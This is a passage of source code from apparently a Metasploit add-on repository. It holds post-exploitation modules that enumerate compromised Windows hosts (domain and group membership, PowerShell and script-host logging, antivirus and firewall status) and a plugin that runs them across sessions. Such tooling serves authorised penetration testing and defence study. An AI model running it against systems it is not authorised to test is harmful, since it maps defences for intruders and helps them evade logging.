5]) 32 | ] 33 | ) 34 | end 35 | 36 | def run 37 | print_status("Getting Power Cycle times for #{sysinfo['Computer']} from the Event Log.") 38 | extapi_loaded = load_extapi 39 | if extapi_loaded 40 | # Using no offset for GMT time. 41 | time = DateTime.now.advance(:days => -(datastore['MAX_SEARCH'])) 42 | wmi_time = time.strftime("%Y%m%d%H%M%S.000000-000") 43 | 44 | print_status('Restart, Shutdown and Boot up:') 45 | query_power_events(wmi_time) 46 | 47 | 48 | else 49 | print_error "ExtAPI failed to load" 50 | end 51 | 52 | end 53 | 54 | def query_power_events(wmi_time) 55 | tbl = Rex::Text::Table.new( 56 | 'Columns' => [ 57 | 'Action', 58 | 'Time', 59 | 'Reason', 60 | 'Type' 61 | ], 62 | 'SortIndex'=> -1) 63 | query = "Select EventCode,TimeGenerated,InsertionStrings From Win32_NTLogEvent Where TimeWritten >= '#{wmi_time}' And Logfile = 'System' And (EventCode = '6009' OR EventCode = '1074')" 64 | objects = session.extapi.wmi.query(query) 65 | objects[:values].each do |event| 66 | 67 | if event[0]== "6009" 68 | action = "Start" 69 | tbl << [action, event[2], nil, nil] 70 | else 71 | action = "Stop" 72 | message_insertions = event[1].gsub(/{|}/, "").split("|") 73 | tbl << [action, event[2], message_insertions[2],message_insertions[4]] 74 | end 75 | 76 | end 77 | print_line tbl.to_s 78 | end 79 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_host_info.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | require 'msf/core/post/windows/extapi' 5 | require 'sqlite3' 6 | 7 | class MetasploitModule < Msf::Post 8 | 9 | include Msf::Post::Windows::UserProfiles 10 | include Msf::Post::Windows::Registry 11 | include Msf::Post::Windows::ExtAPI 12 | include Msf::Post::Windows::Priv 13 | include Msf::Auxiliary::Report 14 | include Msf::Post::File 15 | 16 | 17 | def initialize(info={}) 18 | super( update_info( info, 19 | 'Name' => 'Collect Basic Information on a Windows Host.', 20 | 'Description' => %q{ 21 | Collect Information on a Windows Host and information about the domain it is joined to if domain joined. 22 | }, 23 | 'License' => BSD_LICENSE, 24 | 'Author' => [ 'Carlos Perez ' ], 25 | 'Platform' => [ 'win' ], 26 | 'SessionTypes' => [ 'meterpreter' ] 27 | )) 28 | end 29 | 30 | def run() 31 | print_status("Running post module against #{sysinfo['Computer']}") 32 | 33 | get_hostinfo 34 | end 35 | 36 | def get_hostinfo() 37 | print_status("######################") 38 | print_status("# System Information #") 39 | print_status("######################") 40 | print_line 41 | print_status("Target base information:") 42 | print_good("\tHostname: #{sysinfo['Computer']}") 43 | print_good("\tDomain: #{sysinfo['Domain']}") 44 | print_good("\tOS: #{sysinfo['OS']}") 45 | print_good("\tArchitecture: #{sysinfo['Architecture']}") 46 | print_good("\tSystem Language: #{sysinfo['System Language']}") 47 | print_good("\tLogged On Users: #{sysinfo['Logged On Users']}") 48 | print_line 49 | 50 | print_status("##########################") 51 | print_status("# Domain Membership Info #") 52 | print_status("##########################") 53 | print_line 54 | 55 | print_status('Getting domain membership basic information') 56 | domajoin = get_dn 57 | print_good("\tIn Domain: #{domajoin[:in_domain]}") 58 | print_good("\tDomain Controller: #{domajoin[:domain_controller]}") 59 | print_good("\tDomain FQDN: #{domajoin[:domain_fqdn]}") 60 | print_good("\tDomain DN: #{domajoin[:domain_dn]}") 61 | print_good("\tMachine DN: #{domajoin[:machine_dn]}") 62 | print_good("\tMachine Site: #{domajoin[:machine_site]}") 63 | 64 | report_note( 65 | :host => session.session_host, 66 | :type => 'host.info.domain', 67 | :data => domajoin , 68 | :update => :unique_data) 69 | print_line 70 | 71 | print_status("################") 72 | print_status("# User History #") 73 | print_status("################") 74 | print_line 75 | user_history = get_userhistory 76 | user_history.each do |user| 77 | print_good("\tUser: #{user[:account]}") 78 | print_good("\tSID: #{user[:sid]}") 79 | print_good("\tDate: #{user[:date]}") 80 | print_good("\tUserDN: #{user[:userdn]}") 81 | print_line 82 | end 83 | report_note( 84 | :host => session.session_host, 85 | :type => 'host.info.user_history', 86 | :data => user_history , 87 | :update => :unique_data) 88 | get_grouphistory(user_history) 89 | end 90 | 91 | # Method for getting domain membership info. 92 | #--------------------------------------------------------------------------------------------- 93 | def get_dn 94 | domain_membership = { 95 | in_domain: false, 96 | domain_dn: '', 97 | domain_fqdn: '', 98 | domain_controller: '' 99 | } 100 | 101 | begin 102 | 103 | machine_subkey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0' 104 | subkey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History' 105 | v_name = 'DCName' 106 | key_vals = registry_enumvals(subkey) 107 | vprint_status('checking if host is in a domain') 108 | if key_vals.include?(v_name) 109 | vprint_status('Host appears to be in a domain.') 110 | domain_membership[:in_domain] = true 111 | domain_dc = registry_getvaldata(subkey, v_name) 112 | domain_membership[:domain_controller] = domain_dc 113 | # lets parse the information 114 | dom_info = domain_dc.split('.') 115 | fqdn = "#{dom_info[1,dom_info.length].join('.')}" 116 | dn = "DC=#{dom_info[1,dom_info.length].join(',DC=')}" 117 | machine_dn = registry_getvaldata(machine_subkey, 'DNName') 118 | machine_site = registry_getvaldata(machine_subkey, 'SiteName') 119 | 120 | 121 | domain_membership[:domain_fqdn] = fqdn 122 | domain_membership[:domain_dn] = dn 123 | domain_membership[:machine_dn] = machine_dn 124 | domain_membership[:machine_site] = machine_site 125 | 126 | else 127 | vprint_status('Host is not part of a domain.') 128 | end 129 | rescue 130 | vprint_error('Could not determine if the host is part of a domain.') 131 | return domain_membership 132 | end 133 | domain_membership 134 | end 135 | 136 | def get_userhistory 137 | users = [] 138 | data_storekey = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore' 139 | userkeys = registry_enumkeys(data_storekey) 140 | userkeys.each do |uk| 141 | user_info = {} 142 | if uk =~ /^S-\d-\d+-(\d+-){1,14}\d+$/ 143 | account_name = registry_getvaldata("#{data_storekey}\\#{uk}\\0", 'szName') 144 | next if account_name =~ /defaultuser0$/ 145 | user_info[:sid] = uk 146 | user_vals = registry_enumvals("#{data_storekey}\\#{uk}\\0") 147 | user_info[:account] = account_name 148 | user_info[:date] = registry_getvaldata("#{data_storekey}\\#{uk}\\0","RefreshDateTime") 149 | if user_vals.include?("DNName") 150 | user_info[:userdn] = registry_getvaldata("#{data_storekey}\\#{uk}\\0", 'DNName') 151 | user_info[:type] = "Domain" 152 | else 153 | user_info[:userdn] = "" 154 | user_info[:type] = "Local" 155 | end 156 | users << user_info 157 | end 158 | 159 | end 160 | return users 161 | end 162 | 163 | # Get the group history for each logged on user. 164 | def get_grouphistory(users) 165 | known_group_sids = { 166 | 'S-1-5-113' => 'Local Account', 167 | 'S-1-5-114' => 'Local Administrator', 168 | 'S-1-1-0' => 'Everyone', 169 | 'S-1-5-32-545' => 'Builtin Group', 170 | 'S-1-5-32-544' => 'Builtin Administrator', 171 | 'S-1-5-4' => 'Interactive Logon', 172 | 'S-1-2-0' => 'Local Logon', 173 | 'S-1-2-1' => 'Console Logon', 174 | 'S-1-5-11' => 'Authenticated User', 175 | 'S-1-5-15' => 'This Organization', 176 | 'S-1-5-13' => 'Terminal Service Logon', 177 | 'S-1-5-6' => 'Service Logon', 178 | 'S-1-5-2' => 'Network Logon', 179 | 'S-1-18-5' => 'Multi Factor Authentication', 180 | 'S-1-5-32-578' => 'Hyper-V Admins', 181 | 'S-1-5-9' => 'Domain Controller', 182 | 'S-1-5-14' => 'Remote Interactive Logon', 183 | 'S-1-5-17' => 'IUSR', 184 | 'S-1-5-18' => 'Local System', 185 | 'S-1-5-19' => 'Local Service', 186 | 'S-1-5-20' => 'Network Service', 187 | 'S-1-5-32-546' => 'BuiltIn Guests', 188 | 'S-1-5-32-547' => 'BuiltIn PowerUser', 189 | 'S-1-5-32-548' => 'Account Operators', 190 | 'S-1-5-32-549' => 'Server Operators', 191 | 'S-1-5-32-550' => 'Printer Operators', 192 | 'S-1-5-32-551' => 'Backup Operators', 193 | 'S-1-5-32-555' => 'Remote Desktop', 194 | 'S-1-16-12288' => 'High Integrity Level', 195 | 'S-1-18-1' => 'Asserted Identiry', 196 | 'S-1-5-64-10' => 'NTLM Authentication', 197 | 'S-1-16-8192' => 'Medium Integrity' 198 | } 199 | 200 | dom_known_rids = { 201 | '498' => 'Domain Controllers', 202 | '500' => 'Machine Administrator', 203 | '501' => 'Machine Guest', 204 | '502' => 'KRBGT', 205 | '512' => 'Domain Admins', 206 | '513' => 'Domain Users', 207 | '514' => 'Domain Guests', 208 | '515' => 'Domain Computer', 209 | '516' => 'Domain Controller', 210 | '517' => 'Cert Publisher', 211 | '518' => 'Schema Administrator', 212 | '519' => 'Enterprise Administrators', 213 | '520' => 'GPO Creator/Owner', 214 | '521' => 'RODC', 215 | '522' => 'Clonable Controllers', 216 | '525' => 'Protected Users', 217 | '526' => 'Key Admins', 218 | '527' => 'Enterprise Key Admins', 219 | '553' => 'RAS Server', 220 | '571' => 'RODC Password Replicator', 221 | '572' => 'Denied RODC Password Replicator' 222 | 223 | } 224 | reg_key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy' 225 | group_history = [] 226 | users.each do |u| 227 | results_table = Rex::Text::Table.new( 228 | 'Header' => 'Groups', 229 | 'Indent' => 1, 230 | 'SortIndex' => 0, 231 | 'Columns' => ['Name', 'SID'] 232 | ) 233 | print_status("Group Membership for #{u[:account]}") 234 | groupmembership_key = "#{reg_key}\\#{u[:sid]}\\GroupMembership" 235 | key_vals = registry_enumvals(groupmembership_key) 236 | key_vals.each do |g| 237 | if g =~/Group\d+/ 238 | group_sid = registry_getvaldata(groupmembership_key, g) 239 | if group_sid =~ /^S-\d-\d+-(\d+-){3,14}\d+$/ 240 | rid = (group_sid.split("-"))[-1] 241 | if dom_known_rids.key?(rid) 242 | results_table << [dom_known_rids["#{rid}"], group_sid] 243 | else 244 | results_table << [dom_known_rids["#{rid}"], group_sid] 245 | end 246 | else 247 | if known_group_sids.key?(group_sid) 248 | results_table << [known_group_sids["#{group_sid}"], group_sid] 249 | else 250 | results_table << [known_group_sids["#{group_sid}"], group_sid] 251 | end 252 | end 253 | end 254 | end 255 | results_table.to_s.each_line do |l| 256 | if l =~ /admin|operator|owner/i 257 | print_line("%red#{l.chomp}%clr") 258 | elsif l =~ /term|network|service/i 259 | print_line("%yel#{l.chomp}%clr") 260 | else 261 | print_line(l.chomp) 262 | end 263 | end 264 | print_line 265 | report_note( 266 | :host => session.session_host, 267 | :type => 'host.info.user_groups', 268 | :data => { 269 | :user => u[:account], 270 | :data => results_table.to_csv} , 271 | :update => :unique_data) 272 | end 273 | end 274 | 275 | 276 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_ps_controls.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | require 'msf/core/post/windows/extapi' 5 | 6 | 7 | class MetasploitModule < Msf::Post 8 | 9 | include Msf::Post::Windows::UserProfiles 10 | include Msf::Post::Windows::Registry 11 | include Msf::Post::Windows::ExtAPI 12 | include Msf::Post::Windows::Priv 13 | include Msf::Auxiliary::Report 14 | include Msf::Post::File 15 | 16 | 17 | def initialize(info={}) 18 | super( update_info( info, 19 | 'Name' => 'Collect Information on a Windows PowerShell Controls.', 20 | 'Description' => %q{ 21 | Collect Information on a Windows Host. 22 | }, 23 | 'License' => BSD_LICENSE, 24 | 'Author' => [ 'Carlos Perez ' ], 25 | 'Platform' => [ 'win' ], 26 | 'SessionTypes' => [ 'meterpreter' ] 27 | )) 28 | end 29 | 30 | def run() 31 | print_status("Running post module ts_ps_controls against #{sysinfo['Computer']}") 32 | end 33 | 34 | # Enumerate users on the target box. 35 | #----------------------------------------------------------------------- 36 | def enum_users 37 | os = sysinfo['OS'] 38 | users = [] 39 | path4users = "" 40 | env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME') 41 | sysdrv = env_vars['SystemDrive'] 42 | 43 | if os =~ /Windows 7|Vista|2008|2012|2016|8|10/ 44 | path4users = sysdrv + "\\Users\\" 45 | profilepath = "\\Documents\\WindowsPowerShell\\" 46 | else 47 | path4users = sysdrv + "\\Documents and Settings\\" 48 | profilepath = "\\My Documents\\WindowsPowerShell\\" 49 | end 50 | 51 | if is_system? 52 | print_status("Running as SYSTEM extracting user list..") 53 | session.fs.dir.foreach(path4users) do |u| 54 | userinfo = {} 55 | next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ 56 | userinfo['username'] = u 57 | userinfo['userappdata'] = path4users + u + profilepath 58 | users << userinfo 59 | end 60 | else 61 | userinfo = {} 62 | uservar = env_vars['USERNAME'] 63 | userinfo['username'] = uservar 64 | userinfo['userappdata'] = path4users + uservar + profilepath 65 | users << userinfo 66 | end 67 | return users 68 | end 69 | 70 | # Enumerate the profile scripts present and save a copy in loot. 71 | #----------------------------------------------------------------------- 72 | def enum_profiles(users) 73 | tmpout = [] 74 | print_status("Checking if users have Powershell profiles") 75 | users.each do |u| 76 | print_status("Checking #{u['username']}") 77 | begin 78 | session.fs.dir.foreach(u["userappdata"]) do |p| 79 | next if p =~ /^(\.|\.\.)$/ 80 | if p =~ /Microsoft.PowerShell_profile.ps1|profile.ps1/i 81 | ps_profile = session.fs.file.new("#{u["userappdata"]}#{p}", "rb") 82 | until ps_profile.eof? 83 | tmpout << ps_profile.read 84 | end 85 | ps_profile.close 86 | if tmpout.length == 1 87 | print_status("Profile #{p} for #{u["username"]} not empty, it contains:") 88 | tmpout.each do |l| 89 | print_line("\t#{l.strip}") 90 | end 91 | store_loot("powershell.profile", 92 | "text/plain", 93 | session, 94 | tmpout, 95 | "#{u["username"]}_#{p}.txt", 96 | "PowerShell Profile for #{u["username"]}") 97 | end 98 | end 99 | end 100 | rescue 101 | end 102 | end 103 | end 104 | 105 | # Enumerate the logging settings introduced in PowerShell 4.0 106 | #----------------------------------------------------------------------- 107 | def enum_logging(powershell_version) 108 | if powershell_version.to_i > 3 109 | mod_log_path = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" 110 | script_log_path = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" 111 | transcript_log_path = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription" 112 | win_pol_path = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows" 113 | 114 | print_status('Checking for logging.') 115 | if registry_enumkeys(win_pol_path).include?("PowerShell") 116 | 117 | # Check if module loging is enabled 118 | log_types = registry_enumkeys("#{win_pol_path}\\PowerShell") 119 | if log_types.include?('ModuleLogging') 120 | print_status('Module logging configured.') 121 | mod_log_val = registry_getvaldata( mod_log_path, "EnableModuleLogging" ) 122 | if mod_log_val == 1 123 | print_good('Module logging is enabled') 124 | 125 | # Check if specific modules are being logged and if they are enum their names. 126 | if registry_enumkeys(mod_log_path).include?('ModuleNames') 127 | modnames = [] 128 | registry_enumvals("#{mod_log_path}\\ModuleNames").each do |mname| 129 | print_good("\tModule: #{mname}") 130 | modnames << mname 131 | end 132 | report_note( 133 | :host => session.session_host, 134 | :type => 'host.control.ps', 135 | :data => { 136 | :control => "module_logging", 137 | :enabled => true, 138 | :modules => modnames}, 139 | :update => :unique_data 140 | ) 141 | end 142 | else 143 | print_good('Module logging is disabled') 144 | report_note( 145 | :host => session.session_host, 146 | :type => 'host.control.ps', 147 | :data => { 148 | :control => "module_logging", 149 | :enabled => false, 150 | :modules => []}, 151 | :update => :unique_data 152 | ) 153 | end 154 | end 155 | 156 | # Check if script block loging is enabled 157 | if log_types.include?('ScriptBlockLogging') 158 | print_status('ScriptBlock logging configured.') 159 | sb_settings = registry_enumvals(script_log_path) 160 | if sb_settings.include?('EnableScriptBlockLogging') 161 | block_log = registry_getvaldata(script_log_path,'EnableScriptBlockLogging') 162 | if block_log == 1 163 | print_good("\tScript block logging is enabled.") 164 | report_note( 165 | :host => session.session_host, 166 | :type => 'host.control.ps', 167 | :data => { 168 | :control => "scriptblock_logging", 169 | :enabled => true}, 170 | :update => :unique_data 171 | ) 172 | else 173 | print_good("\tScript block logging is disabled.") 174 | report_note( 175 | :host => session.session_host, 176 | :type => 'host.control.ps', 177 | :data => { 178 | :control => "scriptblock_logging", 179 | :enabled => false}, 180 | :update => :unique_data 181 | ) 182 | end 183 | end 184 | 185 | else 186 | print_good("\tScriptBlock Loggin is not enabled.") 187 | report_note( 188 | :host => session.session_host, 189 | :type => 'host.control.ps', 190 | :data => { 191 | :control => "scriptblock_logging", 192 | :enabled => false}, 193 | :update => :unique_data 194 | ) 195 | end 196 | # Check if transcription loging is enabled. 197 | if log_types.include?('Transcription') 198 | print_status('Transcript configured.') 199 | transcript_settings = registry_enumvals(transcript_log_path) 200 | if transcript_settings.include?('EnableTranscripting') 201 | if registry_getvaldata(transcript_log_path, 'EnableTranscripting') == 1 202 | print_good("\tTrascript logging is enabled.") 203 | report_note( 204 | :host => session.session_host, 205 | :type => 'host.log.ps_transcript', 206 | :data => { 207 | :enabled => true}, 208 | :update => :unique_data 209 | ) 210 | 211 | if transcript_settings.include?('OutputDirectory') 212 | transcript_loc = registry_getvaldata(transcript_log_path, 'OutputDirectory') 213 | if transcript_loc.length > 0 214 | print_good("\tTrascripts are saved to #{transcript_loc}") 215 | report_note( 216 | :host => session.session_host, 217 | :type => 'host.log.ps_transcript_alt_location', 218 | :data => { 219 | :location => transcript_loc}, 220 | :update => :unique_data 221 | ) 222 | else 223 | print_good("\tTranscript is saved in users Documents folder.") 224 | end 225 | else 226 | print_good("\tTranscript is saved in users Documents folder.") 227 | end 228 | 229 | else 230 | print_good("\tTrascript logging is not enabled.") 231 | report_note( 232 | :host => session.session_host, 233 | :type => 'host.log.ps_transcript', 234 | :data => { 235 | :enabled => false}, 236 | :update => :unique_data 237 | ) 238 | end 239 | else 240 | print_good("\tTrascript logging is not enabled.") 241 | report_note( 242 | :host => session, 243 | :type => 'host.log.ps_transcript', 244 | :data => { 245 | :enabled => false}, 246 | :update => :unique_data 247 | ) 248 | end 249 | else 250 | print_good("\tTranscript Loggin is not enabled.") 251 | end 252 | else 253 | print_good("\tNo PowerShell loggin settings are enabled.") 254 | end 255 | end 256 | end 257 | 258 | # Enumerate the PowerShell version. 259 | #----------------------------------------------------------------------- 260 | def enum_version 261 | if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\").include?("3") 262 | powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine","PowerShellVersion") 263 | else 264 | powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") 265 | end 266 | 267 | print_good("Version: #{powershell_version}") 268 | report_note( 269 | :host => session, 270 | :type => 'host.info.ps', 271 | :data => { :version => powershell_version }, 272 | :update => :unique_data 273 | ) 274 | return powershell_version 275 | end 276 | 277 | # Enumerate the ExecutionPolicy in place for User and Machine. 278 | #----------------------------------------------------------------------- 279 | def enum_execpolicy 280 | # Enumerate the machine policy 281 | begin 282 | powershell_machine_policy = registry_getvaldata("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell","ExecutionPolicy") 283 | rescue 284 | powershell_machine_policy = "Restricted" 285 | end 286 | 287 | # Enumerate the User Policy 288 | begin 289 | powershell_user_policy = registry_getvaldata("HKCU\\Software\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") 290 | rescue 291 | powershell_user_policy = "Restricted" 292 | end 293 | print_good("Current User Execution Policy: #{powershell_user_policy}") 294 | print_good("Machine Execution Policy: #{powershell_machine_policy}") 295 | report_note( 296 | :host => session.session_host, 297 | :type => 'host.ps.execpol.user', 298 | :data => { :execpol => powershell_user_policy }, 299 | :update => :unique_data 300 | ) 301 | report_note( 302 | :host => session.session_host, 303 | :type => 'host.ps.execpol.machine', 304 | :data => { :execpol => powershell_machine_policy }, 305 | :update => :unique_data 306 | ) 307 | end 308 | 309 | #----------------------------------------------------------------------- 310 | def check_ps2enabled 311 | os = sysinfo['OS'] 312 | if os =~ /Windows 2012|2016|8|10/ 313 | print_status('Checking if PSv2 engine is enabled.') 314 | path = "HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1" 315 | if registry_enumkeys(path).include?("PowerShellEngine") 316 | if registry_getvaldata("#{path}\\PowerShellEngine", 'PowerShellVersion') == '2.0' 317 | print_good("\tPowerShell 2.0 engine feature is enabled.") 318 | report_note( 319 | :host => session.session_host, 320 | :type => 'host.info.ps_v2_feature', 321 | :data => { 322 | :enabled => true}, 323 | :update => :unique_data 324 | ) 325 | else 326 | print_good("\tPowerShell 2.0 engine feature is not enabled.") 327 | report_note( 328 | :host => session.session_host, 329 | :type => 'host.info.ps_v2_feature', 330 | :data => { 331 | :enabled => false}, 332 | :update => :unique_data 333 | ) 334 | end 335 | end 336 | end 337 | end 338 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_wmi_securitycenter.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'msf/core/auxiliary/report' 9 | require 'msf/core/post/windows/extapi' 10 | require 'sqlite3' 11 | 12 | class MetasploitModule < Msf::Post 13 | 14 | include Msf::Post::Windows::UserProfiles 15 | include Msf::Post::Windows::Registry 16 | include Msf::Post::Windows::ExtAPI 17 | include Msf::Post::Windows::Priv 18 | include Msf::Auxiliary::Report 19 | include Msf::Post::File 20 | 21 | 22 | def initialize(info={}) 23 | super( update_info( info, 24 | 'Name' => 'Collect AV, Firewall and AntiMalware settings via WMI.', 25 | 'Description' => %q{ 26 | Collect AV, Firewall and AntiMalware settings via WMI. 27 | }, 28 | 'License' => BSD_LICENSE, 29 | 'Author' => [ 'Carlos Perez ' ], 30 | 'Platform' => [ 'win' ], 31 | 'SessionTypes' => [ 'meterpreter' ] 32 | )) 33 | end 34 | 35 | def run() 36 | print_status("Running post module against #{sysinfo['Computer']}") 37 | get_sec_product2 38 | end 39 | 40 | def get_sec_product2() 41 | extapi_loaded = load_extapi 42 | if !extapi_loaded 43 | print_error "ExtAPI failed to load" 44 | return 45 | end 46 | queries = [] 47 | 48 | queries << { 49 | :query => "SELECT displayName,pathToSignedProductExe,productState FROM AntiVirusProduct", 50 | :product => 'AntiVirus'} 51 | queries << { 52 | :query => "SELECT displayName,pathToSignedProductExe,productState FROM AntiSpywareProduct", 53 | :product => 'AntiSpyware'} 54 | queries << { 55 | :query => "SELECT displayName,pathToSignedProductExe,productState FROM FirewallProduct", 56 | :product => 'Firewall'} 57 | 58 | queries.each do |q| 59 | begin 60 | objects = session.extapi.wmi.query(q[:query],'root\securitycenter2') 61 | print_status("Enumerating registered #{q[:product]}") 62 | if objects 63 | objects[:values].each do |o| 64 | print_good("\tName: #{o[0]}") 65 | print_good("\tPath: #{o[1]}") 66 | status_bit = o[2].to_i.to_s(16).slice(1,1) 67 | if status_bit == '1' 68 | status = 'Enabled' 69 | elsif status_bit == '0' 70 | status = 'Disabled' 71 | else 72 | status = 'Unknown' 73 | end 74 | print_good("\tStatus: #{status}") 75 | print_good(" ") 76 | end 77 | end 78 | rescue RuntimeError 79 | print_error "A runtime error was encountered when querying for #{q[:product]}" 80 | end 81 | end 82 | end 83 | end -------------------------------------------------------------------------------- /modules/post/windows/gather/ts_wsh_controls.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'rex' 3 | require 'msf/core/auxiliary/report' 4 | 5 | class MetasploitModule < Msf::Post 6 | 7 | include Msf::Post::Windows::Registry 8 | include Msf::Auxiliary::Report 9 | 10 | def initialize(info={}) 11 | super( update_info( info, 12 | 'Name' => 'Windows Enumerate ScriptingHost Configuration', 13 | 'Description' => %q{ 14 | This module enumerates the Windows Scripting Host configuration if present. 15 | }, 16 | 'License' => BSD_LICENSE, 17 | 'Author' => [ 'Carlos Perez ' ], 18 | 'Platform' => [ 'win' ], 19 | 'SessionTypes' => [ 'meterpreter' ] 20 | )) 21 | end 22 | 23 | def run() 24 | print_status("Running post module ts_wsh_controls against #{sysinfo['Computer']} in session #{datastore['SESSION']}") 25 | settings = get_settings 26 | print_status('Windows Scripting Host Settings:') 27 | trust_pol = check_winsafer(settings) 28 | if trust_pol == "0" 29 | get_trust_pol(settings) 30 | end 31 | show_exec_error(settings) 32 | end 33 | 34 | def get_settings() 35 | settings_vals = registry_enumvals('HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings') 36 | return settings_vals 37 | end 38 | 39 | def check_winsafer(settings) 40 | setting_key = 'HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings' 41 | if settings.include?('UseWINSAFER') 42 | 43 | policy_setting = registry_getvaldata(setting_key, 'UseWINSAFER') 44 | 45 | if policy_setting == "1" 46 | print_good("\tPolicy: SRP") 47 | report_note( 48 | :host => session.session_host, 49 | :type => 'host.control.wsh', 50 | :data => { 51 | :control => "policy_source", 52 | :source => "SRP"}, 53 | :update => :unique_data 54 | ) 55 | else 56 | print_good("\tPolicy: TrustPolicy") 57 | report_note( 58 | :host => session.session_host, 59 | :type => 'host.control.wsh', 60 | :data => { 61 | :control => "policy_source", 62 | :source => "trust_policy"}, 63 | :update => :unique_data 64 | ) 65 | end 66 | 67 | end 68 | return policy_setting 69 | end 70 | 71 | def get_trust_pol(settings, system = true) 72 | if settings.include?('TrustPolicy') 73 | 74 | if system 75 | setting_key = 'HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings' 76 | else 77 | setting_key = 'HCU\SOFTWARE\Microsoft\Windows Script Host\Settings' 78 | end 79 | 80 | trust_policy_setting = registry_getvaldata(setting_key, 'TrustPolicy') 81 | 82 | if trust_policy_setting == "0" 83 | print_good("\tTrust Policy: Run All Scripts") 84 | policy = "Run All Scripts" 85 | elsif trust_policy_setting == "1" 86 | print_good("\tTrust Policy: Promp to Run") 87 | policy = "Promp to Run" 88 | elsif trust_policy_setting == "2" 89 | print_good("\tTrust Policy: All Signed") 90 | policy = "All Signed" 91 | end 92 | 93 | else 94 | print_good("\tTrust Policy: NOT SET") 95 | policy = "NOT SET" 96 | end 97 | report_note( 98 | :host => session, 99 | :type => 'host.control.wsh', 100 | :data => { 101 | :control => "trust_policy", 102 | :source => policy}, 103 | :update => :unique_data 104 | ) 105 | end 106 | 107 | def show_exec_error(settings) 108 | setting_key = 'HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings' 109 | if settings.include?('SilentTerminate') 110 | policy_setting = registry_getvaldata(setting_key, 'SilentTerminate') 111 | if policy_setting == "0" 112 | print_good("\tError Message: Supress") 113 | else 114 | print_good("\tError Message: Show") 115 | end 116 | end 117 | end 118 | end -------------------------------------------------------------------------------- /plugins/honeybadger.rb: -------------------------------------------------------------------------------- 1 | module Msf 2 | class Plugin::HoneyBadger < Msf::Plugin 3 | 4 | # Post Exploitation command class 5 | ################################################################################################ 6 | class HoneyBadgerCommandDispatcher 7 | 8 | include Msf::Auxiliary::Report 9 | include Msf::Ui::Console::CommandDispatcher 10 | 11 | def name 12 | "HoneyBadger" 13 | end 14 | 15 | def commands 16 | { 17 | 'host_survey' => "Run modules for gathering info of a host against specified sessions." 18 | } 19 | end 20 | 21 | def cmd_host_survey(*args) 22 | opts = Rex::Parser::Arguments.new( 23 | "-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"], 24 | "-h" => [ false, "Command Help"] 25 | ) 26 | # Parse options 27 | if args.length == 0 28 | print_line(opts.usage) 29 | return 30 | end 31 | sessions = "" 32 | 33 | opts.parse(args) do |opt, idx, val| 34 | case opt 35 | when "-s" 36 | sessions = val 37 | when "-h" 38 | print_line(opts.usage) 39 | return 40 | else 41 | print_line(opts.usage) 42 | return 43 | end 44 | end 45 | 46 | post_mods = [ 47 | {"mod" => "windows/gather/ts_host_info", "opt" => nil}, 48 | {"mod" => "windows/gather/ts_check_vm", "opt" => nil}, 49 | {"mod" => "windows/gather/ts_get_policyinfo", "opt" => nil}, 50 | {"mod" => "windows/gather/ts_dangerous_processes", "opt" => nil}, 51 | {"mod" => "windows/gather/ts_collect_services", "opt" => nil}, 52 | {"mod" => "windows/gather/ts_ps_controls", "opt" => nil}, 53 | {"mod" => "windows/gather/ts_wsh_controls", "opt" => nil}, 54 | {"mod" => "windows/gather/ts_wmi_securitycenter", "opt" => nil}, 55 | {"mod" => "windows/gather/ts_check_commandline_logging", "opt" => nil}, 56 | {"mod" => "windows/gather/ts_collect_pipenames", "opt" => nil}, 57 | {"mod" => "windows/gather/ts_get_powercycle_times", "opt" => nil}] 58 | 59 | if not sessions.empty? 60 | post_mods.each do |p| 61 | m = framework.post.create(p["mod"]) 62 | next if m == nil 63 | 64 | # Set Sessions to be processed 65 | if sessions =~ /all/i 66 | session_list = m.compatible_sessions 67 | else 68 | session_list = sessions.split(",") 69 | end 70 | session_list.each do |s| 71 | begin 72 | if m.session_compatible?(s.to_i) 73 | m.datastore['SESSION'] = s.to_i 74 | if p['opt'] 75 | opt_pair = p['opt'].split("=",2) 76 | m.datastore[opt_pair[0]] = opt_pair[1] 77 | end 78 | m.options.validate(m.datastore) 79 | print_line("") 80 | print_line("Running #{p['mod']} against #{s}") 81 | m.run_simple( 82 | 'LocalInput' => driver.input, 83 | 'LocalOutput' => driver.output 84 | ) 85 | end 86 | rescue 87 